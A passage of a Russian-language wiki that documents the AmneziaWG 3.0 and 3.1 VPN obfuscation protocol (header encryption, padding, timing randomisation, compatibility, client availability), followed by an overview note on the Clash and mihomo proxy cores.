| сентябрь 2025 (тег `v0.2.15` «feat: awg 2.0», 1 сентября 2025) | Паддинг `S3`/`S4` для cookie и транспортных пакетов, диапазонные заголовки `H1`–`H4`, язык CPS для сигнатур | | **AWG 3.0** | 24 июля 2026 (тег `v3.0.0`, PR [#158](https://github.com/amnezia-vpn/amneziawg-go/pull/158)) | Шифрование заголовков, content padding, диапазонные тайминги | | **AWG 3.1** | 12 августа 2026 (тег `v3.1.20260812` синхронно в go, модуле ядра и утилитах) | Случайные хвосты пакетов рукопожатия (`RandomTrailers`), отключение cookie-ответов (`DisableCookies`) | Порядок здесь важен, потому что в пересказах его часто переворачивают: версия 1.5 вышла **раньше** 2.0 и была срочным ответом на блокировки лета 2025, когда, по собственной оценке Amnezia в юбилейной статье на Хабре от 16 октября 2025 года, протокол перестал работать примерно у 10% пользователей. Первой заблокированной оказалась версия 1.0, а не 2.0. > [!note] Версии нумеруются не как теги Git > До июля 2026 года движок `amneziawg-go` жил в нумерации `v0.2.x`, и «AWG 2.0» соответствовал тегу `v0.2.15`. С выходом третьего поколения теги привели в соответствие с названием протокола: `v3.0.0`, `v3.0.1` (оба 24 июля 2026), `v3.0.2` (28 июля), `v3.0.3` (31 июля). Затем схема стала датированной, синхронной с остальными репозиториями: `v3.0.20260805` (5 августа, исправление keepalive-дефекта) и линия 3.1 — `v3.1.20260812`, в go также багфиксы `v3.1.20260813` и `v3.1.20260814`. Полноценных GitHub Releases у репозитория нет — только теги, поэтому «дата релиза» здесь означает дату коммита, на который тег указывает. ## Контекст: почему 3.0 появился именно летом 2026 Третье поколение вышло не по плану развития, а по итогам полутора месяцев атаки на инфраструктуру сервиса. Хронология по [публикации Amnezia от 5 июня 2026 года](https://amnezia.org/ru/blog/amnezia-vpn-may-june-2026-incident-preliminary-summary), которая затем дополнялась до 16 июля: 20 мая — массовая блокировка IP-адресов серверов, 1 июня — организованная DDoS-атака, 10 июня — отдельная атака на сайт. В обновлении от 16 июля команда прямо назвала AmneziaWG 3.0 одним из главных пунктов плана восстановления: «Один из главных пунктов — релиз очередной версии нашего оригинального протокола, AmneziaWG 3.0». Смысл смены поколения объясняет [интервью анонимного разработчика Amnezia изданию Meduza от 3 августа 2026 года](https://meduza.io/feature/2026/08/03/teoreticheski-oni-mogut-zablokirovat-lyuboy-servis-tselikom). По его словам, надзорное ведомство перешло от блокировки протокола к блокировке серверов по совокупности признаков: «У них есть 50 критериев, каждый из которых приносит одно очко, и если набралось больше 25 очков, то сервер попадает под блокировку». Отдельно описан автоматизированный стенд: «Они берут приложение, собирают с него испытательный стенд — тестовую сборку, куда автоматически подгружают свежие файлы конфигурации, и смотрят, куда и как они подключаются». Похожая логика подсчёта признаков разбирается в заметке [[DPI/statistical-morphing-concept|о статистическом морфинге трафика]], а свежая волна блокировок — в [[DPI/vpn-blocking-wave-forecast-summer-2026|прогнозе по блокировкам VPN лета 2026]]. Практический вывод из этого контекста: обновление протокола лечит **сигнатурную** часть проблемы — то, по каким байтам трафик опознают как VPN. Блокировку по IP-адресу сервера, который уже попал в списки, новый протокол не отменяет. > [!warning] Осторожно с цифрой «более 90% серверов» > Формулировка «заблокировано более 90% российских серверов Amnezia» широко разошлась по пересказам (например, в материале techora.ru от 6 июля 2026 года), но в самом посте Amnezia об инциденте и в интервью Meduza такой цифры нет. Считайте её оценкой из вторых рук, а не заявлением компании. ## Header protection — что это на самом деле Это единственное по-настоящему новое свойство третьего поколения, и именно оно отличает 3.0 от [[amnezia-2-0/reference|AWG 2.0]]. ### Что было открытым до 3.0 В обычном WireGuard каждый транспортный пакет начинается с 16-байтового заголовка: 4 байта типа сообщения, 4 байта индекса получателя и 8 байт счётчика пакетов. Полезная нагрузка зашифрована, а вот заголовок передаётся открытым текстом. AWG 1.0 и 2.0 подменяли в нём только поле типа (параметры `H1`–`H4`) и добавляли перед пакетом случайный префикс (`S1`–`S4`), но остальные поля заголовка оставались как есть. Проще говоря: наблюдателю доставалась готовая структура — постоянный индекс получателя, который не меняется всю сессию, и счётчик, растущий строго на единицу с каждым пакетом. Это удобный материал для статистической сигнатуры даже тогда, когда поле типа рандомизировано диапазоном. Официального объяснения от Amnezia, какие именно признаки они закрывают, пока нет — README говорит обобщённо о «низкоэнтропийных значениях заголовков», — но механика описывается именно так. ### Как устроена защита Проверено по коду тега `v3.0.3` (файлы `device/noise-protocol.go`, `device/send.go`, `device/receive.go`): - Шифр — **ChaCha20 без аутентификации**, потоковый, IETF-вариант с 12-байтовым nonce (`chacha20.NewUnauthenticatedCipher`). Не ChaCha20-Poly1305 и не XChaCha20: аутентификацию здесь дают штатные механизмы WireGuard, задача этого слоя — только скрыть структуру. - **Рукопожатия и cookie-ответы шифруются целиком**, включая поля MAC1 и MAC2. - **Транспортные пакеты** — только 16-байтовый заголовок; полезная нагрузка не трогается, она уже зашифрована штатным ChaCha20-Poly1305, и второй проход по ней был бы бессмысленной тратой процессора. - **Nonce берётся из паддинга.** Перед каждым сообщением, как и в 2.0, пишется префикс из криптослучайных байт длиной `S1`–`S4` (по типу сообщения), и первые 12 байт этого префикса используются одноразовым числом для шифра. Приёмная сторона читает их из того же места. Красивая часть решения в том, что паддинг из чистого мусора стал функциональным: те же байты, что раньше просто сбивали анализ по длинам, теперь несут nonce, и лишних данных в пакет добавлять не пришлось. Полная схема сборки пакета, приёмный трюк с «хэшем типа» и разбор того, какие следы протокол всё-таки оставляет, — в [[amnezia-3-0/internals|заметке про внутреннее устройство]]. ### Ключ и обязательный минимум паддинга Ключ задаётся параметром `HeaderProtectionKey`, длина 32 байта, в конфигурационном файле записывается в base64 — так же, как обычный ключ WireGuard (шестнадцатеричная форма используется только на внутреннем интерфейсе UAPI). Генерируется командой `awg genkey` из пакета `amneziawg-tools` версии `v3.0.20260730` и новее. Значение обязано совпадать на сервере и на клиенте: сторона без ключа не расшифрует заголовки и молча отбросит пакеты как неопознанные. Отсюда же вытекает жёсткое требование к паддингу: раз nonce берётся из первых 12 байт префикса, то при включённой защите заголовков **все четыре значения `S1`–`S4` должны быть не меньше 12**. Меньшее значение движок отвергает с ошибкой, а модуль ядра возвращает `-EINVAL`. > [!danger] Миф о «минимуме 8 байт» > В пересказах встречается требование «S1–S4 не меньше 8» — это ошибка, попавшая в оборот из README самого проекта. В коде порог всегда был 12 (`HeaderCipherNonceSize = 12`), а вот текст документации и сообщение об ошибке действительно говорили про 8, пока их не исправили 31 июля 2026 года коммитом `ce7cf103` («docs: change 8 requirement to 12 in README»). Если вы читали инструкцию до этой даты — перепроверьте свои значения. ## Content padding — случайное удлинение пакетов Параметр `ContentPaddingAddition` задаётся диапазоном (`uint32,range`) и помечен в README как клиентский. На каждый исходящий транспортный пакет из диапазона берётся случайное число, и столько нулевых байт дописывается в хвост открытого текста **до** шифрования — то есть добавка оказывается внутри шифртекста, а не отдельным видимым довеском. Размер обрезается по MTU, чтобы не спровоцировать фрагментацию. Важная деталь: если параметр задан, он **заменяет** штатное выравнивание WireGuard до кратности 16 байт. Смысл в том, что предсказуемое выравнивание само по себе — признак: длины пакетов ложатся на сетку из 16 байт, и это видно в статистике потока. Случайная добавка эту сетку размывает. README при этом заметно мягче, чем пересказы: «It's important to specify content padding on both sides. However, this is not strictly required and could be omitted» — то есть согласовать значения на обеих сторонах желательно, но не обязательно. ## Рандомизация таймингов WireGuard известен своей регулярностью: рукопожатие раз в 120 секунд, keepalive по фиксированному таймеру, повторы по константам. Для анализатора трафика это ритм, который видно даже без разбора содержимого. В третьем поколении шесть таймеров стали настраиваемыми диапазонами: | Параметр | Секция | Что задаёт | |---|---|---| | `RekeyAfterTime` | `[Interface]` | Через сколько инициировать новое рукопожатие (в WireGuard — жёстко 120 с) | | `RekeyTimeout` | `[Interface]` | Пауза перед повторной попыткой рукопожатия | | `RejectAfterTime` | `[Interface]` | Когда сессия считается протухшей | | `KeepaliveTimeout` | `[Interface]` | Таймер отправки keepalive | | `MaxHandshakeAttempts` | `[Interface]` | Сколько попыток рукопожатия делать | | `PersistentKeepalive` | `[Peer]` | Уже существовавший параметр, теперь принимает диапазон | Этим список новых параметров релиза 3.0 и исчерпывается: сравнение полного набора ключей UAPI между `v0.2.19` и `v3.0.3` даёт ровно эти шесть таймеров плюс `content_padding_addition` и `header_protection_key`. Скрытых параметров в релизе нет. ## Линия 3.1: случайные хвосты и отключение cookie 12 августа 2026 года внутри третьего поколения вышло обновление 3.1 — тег `v3.1.20260812` появился синхронно в трёх репозиториях: движке [amneziawg-go](https://github.com/amnezia-vpn/amneziawg-go), модуле ядра и amneziawg-tools. В go следом вышли багфиксы `v3.1.20260813` и `v3.1.20260814` (последний чинит длину случайного хвоста у cookie-ответа). Новых параметров устройства ровно два — это видно по диффу UAPI-интерфейса между линиями. **`RandomTrailers`** (`on`/`off`) дописывает к пакетам рукопожатия — инициации, ответу и cookie-ответу — хвост из случайных байт случайной длины. Длина берётся из диапазона от нуля до «окна» за вычетом размера самого пакета; окно стартует с 500 байт и подстраивается под максимальный размер пакетов, реально приходивших от пира. Транспортные пакеты отдельного хвоста не получают: для них тот же механизм даёт случайный паддинг внутри шифртекста, если `ContentPaddingAddition` не задан. Параметр закрывает признак, который оставался виден в 3.0, — постоянные размеры рукопожатий `S1`+148 и `S2`+92 байта, разобранные в [[amnezia-3-0/internals|описании внутреннего устройства]]. > [!danger] RandomTrailers включается строго на обеих сторонах > Приёмник принимает удлинённые пакеты рукопожатия только при включённом у себя флаге: проверка в коде — «размер равен ожидаемому, либо включён RandomTrailers и размер больше ожидаемого». Сторона без флага отбрасывает удлинённый пакет как неопознанный, поэтому включение только на одной стороне рвёт рукопожатие. Изредка пакет может проскочить — случайная длина хвоста бывает и нулевой, — но рассчитывать на это нельзя. **`DisableCookies`** (`on`/`off`) запрещает устройству отправлять cookie-ответы — служебные сообщения, которыми сервер под нагрузкой просит инициатора подтвердить свой адрес. Параметр односторонний: приём cookie-ответов не меняется, формат пакетов на проводе тоже, поэтому согласовывать его с пиром не нужно. Цена: под настоящей DoS-нагрузкой такое устройство молча отбрасывает рукопожатия без валидной метки, не оставляя легитимному клиенту способа пройти проверку до спада нагрузки. Совместимость с 3.0 аккуратная: версия netlink-интерфейса модуля ядра (`WG_GENL_VERSION`) в 3.1 не менялась, поэтому утилиты линии 3.0 работают с модулем 3.1 — просто не умеют задавать два новых параметра. ### Как отличить 3.1 в установленной системе PPA Amnezia для Ubuntu раздаёт линию 3.1 с 13 августа 2026 года (`amneziawg-tools` и мета-пакет `amneziawg`) и с 14 августа (`amneziawg-dkms`). Версии пакетов сбивают с толку: они всегда начинаются с `1.0.0` — это версия debian-упаковки, замороженная с декабря 2023 года, — а линия кода видна только по git-хешу в конце строки. Например, `1.0.0-0~202608140352+4680320` собрана из коммита `46803204e7ec`, помеченного тегом `v3.1.20260812`; отметка времени в середине различается между сериями Ubuntu на минуты. Версию фактически загруженного модуля показывает `cat /sys/module/amneziawg/version`: у DKMS-сборки там строка тега (`3.1.20260812`), у модуля, собранного вручную через `make`, — те же непоказательные `1.0.0`. ## Чего в AWG 3.0 нет, вопреки популярному разбору 29 июля 2026 года в GitHub Discussions репозитория клиента появился пост «AmneziaVPN 5.0.0.5 — AWG 3.0: что изменилось под капотом» ([#2899](https://github.com/amnezia-vpn/amnezia-client/discussions/2899)), который активно растащили по чатам. Мейнтейнер проекта ответил на него репликой «Stop writing AI slop» и закрыл обсуждение как устаревшее. Проверка по исходному коду показывает, где текст расходится с релизом. > [!warning] Что не подтверждается кодом > **`FallbackPort` и пакет `conceal/`** (проксирование «непохожего» трафика на локальный веб-сервис в духе REALITY) — не входят ни в один тег `v3.0.x`. Соответствующий PR [#124](https://github.com/amnezia-vpn/amneziawg-go/pull/124) смержен 25 марта 2026 года в ветку `experimental`, а не в основную. Заодно и деталь «только TCP» неверна: в экспериментальном коде есть обёртки и для UDP. > > **uTLS с отпечатком Chrome и xtls/reality внутри движка** — в репозитории отсутствуют полностью: ни библиотек в зависимостях, ни единого упоминания в коде. Пакет `outline/` действительно есть, но это интеграционный слой для Outline SDK, появившийся ещё в декабре 2025 года (PR [#106](https://github.com/amnezia-vpn/amneziawg-go/pull/106), тег `v0.2.17`), и к третьему поколению протокола он отношения не имеет. > > **«Переписанная система тегов обфускации»** — язык CPS с тегами ``, ``, ``, ``, `` и тремя недокументированными (``, ``, ``) существует с версии 2.0; подробный разбор всех восьми — в [[amnezia-2-0/reference|справочнике по AmneziaWG 2.0]]. В 3.0 набор тегов не изменился. Отдельно стоит зафиксировать то, что подтвердилось: криптография WireGuard действительно не тронута. Файл `device/noise-helpers.go` в теге `v3.0.3` побайтно совпадает с оригиналом из `wireguard-go`, рукопожатие Noise IKpsk2 не менялось. Разработчик в интервью Meduza формулирует это как принцип: «Это наше золотое правило — не лезть в криптографию, которую обеспечивают нам ученые, работавшие над ней десятилетие». ## Совместимость с AWG 2.0: что ломается, а что нет Официальная позиция из [FAQ Amnezia](https://docs.amnezia.org/ru/faq/) однозначна: AmneziaWG 3.0 «не имеет обратной совместимости с AmneziaWG 2.0». Код уточняет, где именно проходит граница. Все параметры третьего поколения опциональны, а функция выдачи шифра возвращает пустое значение при нулевом ключе. Это значит, что **движок версии 3 без `HeaderProtectionKey` выдаёт в сеть ровно тот же формат, что и 2.0** — те же `S1`–`S4`, `H1`–`H4`, `Jc`/`Jmin`/`Jmax`, `I1`–`I5`. Несовместимость возникает в момент, когда защита заголовков включена: пир без ключа видит вместо знакомой структуры шум и отбрасывает пакеты как пакеты неизвестного типа. Отдельно нужен свежий `amneziawg-tools` — старая версия просто не знает новых ключей конфигурации и не передаст их в ядро. На практике это даёт такую картину: - Клиент 5.0.0.5 подключается к **старым серверам** AWG 2.0 без проблем — конфигурация без `HeaderProtectionKey` работает по-прежнему. - Старый клиент к **серверу с включённой защитой заголовков** не подключится никак. - Сервер AWG 3.0 **без** ключа защиты обслуживает клиентов 2.0 — совместимость такой связки подтверждена сторонним тестом на стенде (сообщение пользователя bivlked на ntc.party от 1 августа 2026 года). - Обновить существующую установку протокола «на месте» нельзя: по [FAQ](https://docs.amnezia.org/ru/faq/) для нового протокола нужны новая конфигурация и новый ключ. Правило то же, что действовало при переходе 1.0 → 2.0, где старые установки в новых клиентах отображаются как «AmneziaWG Legacy». ## Кому протокол доступен на 20 августа 2026 Здесь главная практическая новость, и она разочаровывает владельцев своих серверов. **Подписчики Amnezia Premium** получают AWG 3.0 как протокол по умолчанию. **Пользователи бесплатного Amnezia Free** — как единственный доступный протокол. И тем и другим нужен клиент AmneziaVPN 5.0.0.5 или новее либо iOS-приложение DefaultVPN 2.0.0 и новее (версия с пунктом «Added AWG 3 support» появилась в App Store около 31 июля 2026 года). **Self-hosted — пока нет, но дело сдвинулось.** FAQ отвечает прямо: «Нет. Сейчас AmneziaWG 3.0 доступен только для Amnezia Premium и Amnezia Free». Поддержка своих серверов — pull request [#2908](https://github.com/amnezia-vpn/amnezia-client/pull/2908) «feat: awg3 support selfhosted», открытый 30 июля 2026 года: он добавляет генерацию `HeaderProtectionKey` в серверный скрипт установки контейнера и выводит в интерфейс поля content padding и таймингов. 6 августа 2026 года PR смержен (9 коммитов, 40 файлов) — но в ветку разработки dev, а не в релиз: последней версией приложения на 20 августа остаётся 5.0.0.5 от 26 июля, так что до пользователей смерженная поддержка ещё не доехала. Документация понемногу догоняет: к 20 августа 2026 года страница docs.amnezia.org об AmneziaWG описывает и версию 3.0 (таблица параметров с допустимыми диапазонами) — с оговоркой, что подробности добавят после выхода self-hosted-поддержки в приложении. Обещанная в анонсе отдельная статья в блоге («расскажем о нем отдельно») по-прежнему не опубликована, механика протокола официально нигде не описана; первоисточниками остаются README репозитория `amneziawg-go` и сам код. Из сторонних клиентов поддержку заявил **Throne 1.2.2** (форк NekoRay) в релизе от 29 июля 2026 года — «Add Amnezia v3 support». В ядре **mihomo** поля третьего поколения (`version: 3`, `header-protection-key`, `content-padding-addition`, тайминги в `amnezia-wg-option`) появились в релизе v1.19.30 от 16 августа 2026 года — более ранние ядра узлы с защитой заголовков не поднимут. Отдельные официальные AWG-клиенты линии 3.x пока не добрались до стабильных выпусков: у `amneziawg-android` версии 3.0.1 и 3.1.20260814 помечены как предрелизы (последний — от 14 августа 2026), а последний стабильный релиз `amneziawg-windows-client` — 2.0.2 от 21 июля 2026, ещё второй линии. Это ещё один довод не включать `HeaderProtectionKey` на сервере, которым пользуются разношёрстные клиенты: часть устройств отвалится без предупреждения. ## Экосистема: инструменты и модуль ядра Протокол живёт не только в Go-реализации. Сопутствующие компоненты обновились в конце июля 2026 года: - **amneziawg-tools** `v3.0.20260730` (30 июля) — пользовательские утилиты, включая `awg genkey` для ключа защиты заголовков; далее вышли `v3.0.20260805` (5 августа) и `v3.1.20260812` с параметрами линии 3.1. Это единственный компонент, у которого есть полноценные GitHub Releases. - **Модуль ядра Linux** получил третье поколение 30 июля, и первые сутки ушли на исправления: инвертированная логика проверки `RekeyTimeout`, запись значений `I4`/`I5` не в тот слот массива сигнатур, молчаливое игнорирование ключа при слишком коротких `S1`–`S4` и, наконец, сборка на ядрах старше 6.7 (`nla_put_uint` отсутствует в Debian 12 и Ubuntu 22.04). Всё это закрыли ревизиями `v3.0.20260731-02`, `-03` и `-04` в течение 31 июля. Тег `v3.0.20260805` от 5 августа исправил keepalive-дефект с рукопожатиями каждые 15 секунд — разбор в [[amnezia-3-0/internals|заметке о внутреннем устройстве]], — а 12 августа вышел `v3.1.20260812`. - **Клиенты платформ** — Apple, Android и Windows — получили синхронные коммиты поддержки 24 июля 2026 года, в течение двух минут друг за другом. Отдельная путаница живёт вокруг сторонних скриптов-установщиков AmneziaWG для self-hosted: репозиториев с почти одинаковыми именами несколько, и их регулярно принимают друг за друга. Родословная по данным GitHub API на 20 августа 2026 года такая. Основой ветви `amneziawg-install` послужил популярный скрипт [wireguard-install](https://github.com/angristan/wireguard-install) от angristan; в июле 2024 года RomikB адаптировал его под AmneziaWG ([RomikB/amneziawg-install](https://github.com/RomikB/amneziawg-install) — в первом коммите первоисточник указан прямо); в августе 2024 появился [Varckin/amneziawg-install](https://github.com/Varckin/amneziawg-install) — перезаливка кода RomikB одним куском, без истории коммитов и упоминания предшественников, заброшенная с сентября 2024; активный сегодня [wiresock/amneziawg-install](https://github.com/wiresock/amneziawg-install) (с января 2026) — технически GitHub-форк репозитория Varckin, но в README честно называет первоисточником RomikB и развил скрипт до поддержки AWG 2.0/3.0. Отдельно стоит [bivlked/amneziawg-installer](https://github.com/bivlked/amneziawg-installer) (с апреля 2025) — независимая разработка, кодом с этой ветвью не связанная; упоминания скрипта wiresock в его README — только сравнительная таблица альтернатив. > [!note] Четвёртое поколение уже в работе > В репозитории модуля ядра с 4 ноября 2025 года существует ветка `feature/awg4` с коммитами «feat: awg4» и добавлением тега `` с base64-кодированием полезной нагрузки. Это не анонс и не обещание сроков — просто признак того, что следующая итерация разрабатывается параллельно. ## Помогает ли это против блокировок в России Честный ответ на 4 августа 2026 года: независимых замеров эффективности нет, а доступных полевых отчётов — единицы. Наиболее содержательное подтверждение нашлось на форуме ntc.party: 2 августа 2026 года пользователь Dikoz сообщил, что обфускация третьего поколения сработала там, где предыдущая не срабатывала — «Затестил awg 3.0 с протоном. Действительно работает. Сработал фейк, который до этого не работал. Проверял всё в Throne». Контекст важен для правильного понимания: тестировалась клиентская часть AWG (мусорные и сигнатурные пакеты) поверх обычных WireGuard-конфигураций ProtonVPN через клиент Throne, а не полноценный туннель AWG 3.0 с обеих сторон. Оператор связи в сообщении не назван. > [!warning] Один отчёт — не статистика > Сообщение выше — наблюдение одного пользователя на неизвестном операторе, без контрольных замеров. Отчётов формата «работает или нет на МТС, Мегафоне, Билайне» по третьему поколению на начало августа 2026 года найти не удалось. Относитесь к оценкам эффективности как к предварительным. Отдельная иллюстрация того, почему сигнатуры вообще ловятся, — issue [#2857](https://github.com/amnezia-vpn/amnezia-client/issues/2857) от 22 июля 2026 года. В нём показано, что документация и установщики для self-hosted версии 2.0 разносили **одно и то же жёстко заданное значение** `I1` — корректно сформированный 44-байтовый DNS-ответ для домена icloud.com с адресом 77.88.55.55 в записи. Автор issue отмечает и странность самого содержимого: этот адрес принадлежит публичному резолверу Яндекса, для icloud.com такой ответ неестественен. Практический смысл: если тысячи развёртываний шлют перед рукопожатием байт-в-байт одинаковый пакет, он превращается не в маскировку, а в удобный опознавательный знак. В комментарии от 3 августа пользователь bivlked описывает полевое следствие на Tele2 и Мегафоне: туннель не поднимался двое суток со сгенерированным установщиком значением ``, а замена на QUIC-подобную сигнатуру или полное удаление строки `I1` восстанавливали связь мгновенно. Вывод, который из этого следует для любой версии протокола: значения обфускации имеет смысл делать уникальными для своей установки, а не копировать примеры из документации. Общий разбор того, как DPI строит и применяет такие признаки, — в [[VLESS/dpi-tls-june-2026|заметке про DPI-почерк TLS]] и [[DPI/ru-network-blocklists|обзоре сетевых блокировок]]. ## Что делать практически - [ ] Пользуетесь Amnezia Free или Premium — обновите приложение до 5.0.0.5 (или DefaultVPN 2.0.0 на iOS): на старых версиях третье поколение не заработает, а Free остаётся вовсе без протокола. - [ ] Держите свой сервер — оставайтесь на [[amnezia-2-0/reference|AWG 2.0]]: поддержка своих серверов смержена в ветку разработки 6 августа 2026 (PR [#2908](https://github.com/amnezia-vpn/amnezia-client/pull/2908)), но ждать нужно релиза приложения новее 5.0.0.5; клиент 5.0.0.5 со старым сервером совместим. - [ ] Собираете AWG 3.0 вручную — ставьте `S1`–`S4` не меньше 12 байт, иначе `HeaderProtectionKey` не применится, и обновите `amneziawg-tools` до `v3.0.20260730` или новее. - [ ] Собираете модуль ядра — берите ревизию не ниже `v3.0.20260805`: в ней исправлен keepalive-дефект с рукопожатиями каждые 15 секунд, а в ревизиях до `v3.0.20260731-04` на Debian 12 и Ubuntu 22.04 вдобавок падала сборка. - [ ] Пробуете `RandomTrailers` из линии 3.1 — включайте его на сервере и клиенте одновременно: сторона без флага отбрасывает удлинённые пакеты рукопожатия, и туннель не поднимется. - [ ] Не копируйте значения `I1`–`I5` из документации и чужих инструкций: повторяющаяся сигнатура работает против вас. - [ ] Не полагайтесь на один протокол — запасной канал на [[xray/vless|VLESS]] с [[xray/reality|REALITY]] или [[Hysteria/00-overview|Hysteria 2]] стоит держать наготове. ## 📚 См. также - [[amnezia-3-0/internals|Внутреннее устройство AmneziaWG 3.0]] — побайтовый разбор по коду: сборка пакета, механика защиты заголовков, content padding, тайминги и анализ того, что протокол всё ещё оставляет видимым. - [[amnezia-3-0/client-5-0-0-5|AmneziaVPN 5.0.0.5]] — что изменилось в самом приложении, какие протоколы оттуда убрали и что сломалось при переходе. - [[amnezia-2-0/reference|AmneziaWG 2.0: полный справочник параметров]] — детальный разбор `Jc`/`S1`–`S4`/`H1`–`H4`, языка CPS и всех восьми тегов сигнатур; база, поверх которой работает третье поколение. - [[protocols/00-overview|Карта протоколов обхода блокировок]] — где AmneziaWG стоит среди VLESS, Hysteria 2 и остальных. - [[DPI/vpn-blocking-wave-forecast-summer-2026|Волна блокировок VPN летом 2026]] — обстановка, в которой вышло третье поколение. - [[DPI/statistical-morphing-concept|Статистический морфинг трафика]] — почему шифрования мало и приходится править длины, тайминги и заголовки. - 🔗 [amneziawg-go](https://github.com/amnezia-vpn/amneziawg-go) — исходники движка и README, единственная актуальная документация по параметрам 3.0. - 🔗 [FAQ Amnezia](https://docs.amnezia.org/ru/faq/) — официальные ответы о доступности AWG 3.0 и совместимости с 2.0. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/amnezia-3-0/reference.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- title: "🧭 Clash и mihomo — обзор и оглавление" date: 2026-07-25 tags: - clash - mihomo - proxy - обход-блокировок aliases: - Clash обзор - Раздел Clash - Clash и mihomo link: https://wiki.metacubex.one/ --- # 🧭 Clash и mihomo — обзор и оглавление > [!info] О чём заметка > Точка входа в раздел про экосистему **Clash**: что такое ядро Clash, почему оригинальный проект исчез в ноябре 2023 года, как его место занял форк **mihomo** (бывший Clash.Meta) и что это ядро умеет сегодня. Заметки раздела расположены от исторической части к практике — ссылки ниже. ## TL;DR - **Clash** — это не приложение, а **ядро**: консольная программа, которая по YAML-конфигу раскидывает соединения по правилам («этот домен напрямую, тот через сервер, рекламу — в чёрную дыру»). Всё графическое — отдельные оболочки поверх. - Оригинальное ядро (`Dreamacro/clash`, Go, GPL-3.0, с 2018 года) прекратило существование: **2–3 ноября 2023 года** его репозиторий и десятки связанных проектов были удалены или заархивированы авторами. - Пережили ядро две вещи — **формат конфига** и **Clash API**. Именно поэтому подписки и дашборды продолжили работать, а разработку подхватил форк. - **mihomo** (до переименования — Clash.Meta, команда MetaCubeX) сегодня и есть «то самое ядро»: открытая реализация функций бывшего закрытого Clash Premium плюс современные протоколы — VLESS с REALITY, Hysteria2, TUIC, WireGuard, AnyTLS и другие. Актуальная стабильная версия — **v1.19.29 от 18 июля 2026**. - Сильная сторона экосистемы — **клиентская маршрутизация**: группы политик, подписки, автоматический выбор узла, десяток графических оболочек и веб-дашбордов. Сервер обычно поднимают на соседних ядрах — Xray-core или sing-box. ## Как читать раздел Заметки пронумерованы в порядке чтения. Если вам нужно «просто чтобы заработало» — начинайте с 03, теория подождёт. **Хочу разобраться с нуля:** - [ ] [[Clash/01-clash-core|01. Ядро Clash]] — что такое ядро, как устроен конфиг (порты, серверы, группы, правила, DNS, API), что было в закрытой сборке Premium и что случилось в ноябре 2023 года. - [ ] [[Clash/02-mihomo|02. mihomo (Clash.Meta)]] — как форк стал основным ядром, чем он отличается от оригинала, в каком состоянии находится сегодня. - [ ] [[Clash/03-first-run|03. Первый запуск]] — от подписки до работающего интернета: клиент, импорт, режимы, TUN, проверка. - [ ] [[Clash/04-rules|04. Правила маршрутизации]] — рецепты: российские сайты напрямую, реклама в обрыв, приложение через нужный узел. - [ ] [[Clash/05-troubleshooting|05. Типичные проблемы]] — метод диагностики и разбор частых поломок. **Хочу глубже:** - [ ] [[Clash/06-features-protocols|06. Возможности и протоколы mihomo]] — актуальный набор протоколов, маскировки, TUN-стеки, сниффер, DNS-подсистема, наборы правил. - [ ] [[Clash/07-clients|07. Клиенты на ядре Clash/mihomo]] — какие оболочки живы, какие мертвы, как не перепутать обновление приложения с обновлением ядра. - [ ] [[Clash/08-vs-sing-box|08. mihomo против sing-box и Xray]] — сравнение трёх ядер по осям и критерии выбора под задачу. - [ ] [[Clash/09-glossary|09. Словарь терминов]] — справочник по словам из интерфейса и конфига; открывайте по мере надобности. ## Заметки раздела **История и основы:** - [[Clash/01-clash-core|01. Ядро Clash]] — устройство ядра, конфиг, Clash API, Clash Premium, исчезновение проекта в ноябре 2023 года. - [[Clash/02-mihomo|02. mihomo (Clash.Meta)]] — форк MetaCubeX: зачем появился, почему переименован, чем совместим с миром Clash. **Практика для новичка:** - [[Clash/03-first-run|03. Первый запуск]] — пошагово: что нужно иметь, куда вставлять подписку, системный прокси против TUN, чек-лист проверки. - [[Clash/04-rules|04. Правила маршрутизации]] — как читается список правил, готовые рецепты, наборы правил и отладка через список соединений. - [[Clash/05-troubleshooting|05. Типичные проблемы]] — подписка не добавляется, узел не подключается, приложение мимо туннеля, утечка DNS, разрывы и тормоза. **Углублённо:** - [[Clash/06-features-protocols|06. Возможности и протоколы mihomo]] — что ядро умеет в 2026 году: протоколы, listeners, маскировка, TUN, DNS, правила. - [[Clash/07-clients|07. Клиенты на ядре Clash/mihomo]] — Clash Verge Rev, FlClash, Mihomo Party, CMFA, ClashX Meta, пакеты для роутеров. **Выбор инструмента и справочник:** - [[Clash/08-vs-sing-box|08. mihomo против sing-box и Xray]] — чем ядра действительно отличаются и когда что брать. - [[Clash/09-glossary|09. Словарь терминов]] — узел, группа, провайдер, TUN, fake-ip, сниффер, мультиплекс и остальное простыми словами. **Смежное:** - [[subscriptions/hwid-client-lock|HWID-привязка и запрет «чужих» клиентов]] — почему подписка может отказаться работать в выбранном вами клиенте и при чём тут ядра. ## Кому эта экосистема подходит Экосистема Clash/mihomo раскрывается там, где **соединений много и решения по ним разные**: несколько подписок с десятками узлов, автоматический выбор живого сервера, отдельные правила для рабочих сервисов, стриминга и рекламы, один и тот же конфиг на ноутбуке, телефоне и роутере. Если же задача простая — «есть ключ VLESS от одного продавца, хочу чтобы заработало» — экосистема [[xray/project-x|Xray-core]] с клиентами вроде Happ обычно быстрее приводит к результату (см. [[xray/clients-and-routing|Клиенты и маршрутизация]]). Начинать со сложного конфига ради самого конфига смысла нет: правила и группы окупаются тогда, когда есть что разводить. ## 📚 См. также - [[protocols/00-overview|Обзор протоколов]] — что такое Shadowsocks, VMess, Trojan, TUIC, AnyTLS, ShadowTLS, NaiveProxy и какое ядро их поддерживает. - [[xray/project-x|Project X (Xray-core)]] — соседнее ядро и центр серверной экосистемы (панели 3x-ui, Marzban). - [[sing-box/sing-box-extended|sing-box-extended]] — третья универсальная платформа и её расширенный форк. - [[Hysteria/00-overview|Hysteria 2]] — специализированный QUIC-протокол, который mihomo поддерживает как один из outbound. - [[VLESS/dpi-tls-june-2026|VLESS + TLS: DPI-почерк]] — как выглядит для DPI трафик, который эти ядра гоняют. - 🔗 [wiki.metacubex.one](https://wiki.metacubex.one/) — официальная документация mihomo. - 🔗 [en.clash.wiki](https://en.clash.wiki/) — сохранившаяся база знаний по оригинальному Clash и Premium. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом 